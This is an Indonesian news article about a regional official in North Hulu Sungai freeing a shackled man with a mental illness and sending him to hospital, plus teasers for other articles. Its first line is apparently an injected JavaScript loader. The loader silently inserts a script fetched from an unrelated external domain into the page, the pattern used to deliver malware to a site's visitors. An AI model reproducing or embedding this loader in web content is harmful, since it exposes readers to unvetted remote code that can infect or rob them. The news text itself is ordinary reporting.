(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menegaskan agar Orang Dalam Gangguan Jiwa (ODGJ) di Kabupaten HSU terbebas dari pemasungan.
Hal itu ditegaskannya saat memimpin langsung proses evakuasi Saleh (35), ODGJ warga Desa Pulau Damar, Kecamatan Banjang, Minggu (31/3/2024) dini hari.
Pj Bupati HSU saat memimpin proses pelepasan ODGJ yang dipasung mengatakan, pembebasan pasung sebagai upaya untuk memuliakan manusia yang sama-sama memiliki hak hidup sebagai warga negara secara layak.
“Ini dalam upaya agar HSU bebas pasung, mereka juga sama seperti kita ingin hidup dan diperlakukan dengan layak, kalau memang ada masalah dari sisi kejiwaan harus kita selesai secara medis maupun psikologis,” ungkapnya.
Baca juga: Safari Ramadan di Kecamatan Mantangai, Pj Bupati Kapuas: Ajang Bersilaturahmi
Pj Bupati HSU meminta masyarakat untuk segera melapor ke Dinas Sosial, Dinas Kesehatan ataupun pemerintah desa jika ada ODGJ dipasung untuk selanjutnya petugas akan menangani dengan mengevakuasi ke Rumah Sakit Pembalah Batung Amuntai untuk diberi penanganan.
Pj Bupati HSU juga menyempatkan diri mengantar pasien yang dievakuasi ke RSUD Pembalah Batung Amuntai untuk kemudian dibersihkan dan diperiksa kesehatannya. Dia berharap upaya penanganan kepada ODGJ yang sudah dilakukan ini mendapatkan hasil sesuai dengan yang diharapkan.
Evakuasi tersebut dilakukan bersama tim dari RSUD Pembalah Batung Amuntai, Dinas Kesehatan, Dinas Sosial dan tim relawan sosial Amuntai Peduli Sesama (APS) HSU untuk mendapat perawatan di RSUD Pembalah Batung Amuntai.
Baca juga: Survei LSPP Jelang Pilgub Kalsel 2024, Ini Figur Nama-nama yang Muncul
Kepala Dinas Kesehatan dr M Yandi Friyadi nengatakan, pihaknya mereka mendata pasien ODGJ yang ada di HSU sebanyak 8 orang. Tiga diantaranya termasuk yang baru dievakuasi telah ditangani, selanjutnya pihaknya bersama Dinas Sosial dan relawan gabungan akan berkoordinasi untuk kedepan pasien ODGJ ini akan dievakuasi semuanya, sehingga bisa tertangani sebagaimana mestinya dan menciptakan HSU bebas pasung
“Untuk sementara pasien akan ditampung di RSUD Pembalah Batung Amuntai ditangani di ruang jiwa RSUD Pembalah Batung Amuntai, bila dibutuhkan penanganan yang serius kita akan rujuk ke RSJ Sambang Lihum,” ungkapnya.
Terpisah, Sarifudin kakak kandung dari pasien ODGJ yang dievakuasi berterima kasih atas perhatian Pemerintah Kabupaten HSU.
Baca juga: 58 Korban Investasi Solar Bodong Oknum Bhayangkari Rugi Rp39 Miliar
Awalnya, dia mengaku selaku keluarga hanya bisa memberikan penanganan sederhana agar kondisi adiknya tidak membahayakan warga sekitar.
Sarifudin berharap adiknya bisa sembuh kembali dengan adanya penanganan dari pihak terkait. (Kanalkalimantan.com/dew)
Reporter: dew
Editor: bie
KANALKALIMANTAN.COM, - Asuransi merupakan salah satu bentuk perlindungan yang perlu dimiliki setiap orang. Dengan memiliki… Read More
KANALKALIMANTAN.COM - Peringatan Hari Lupus Sedunia ini diadakan pada tanggal 10 Mei setiap tahunnya. Hari… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Buaya yang kerap muncul di Sungai Pelambuan, Kecamatan Banjarmasin Barat, Kota Banjarmasin,… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pelaksaanan program TNI Manunggal Membangun Desa (TMMD) ke-120 Kodim 1001/HSU-BLG di Desa… Read More
KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Pembangunan… Read More
This website uses cookies.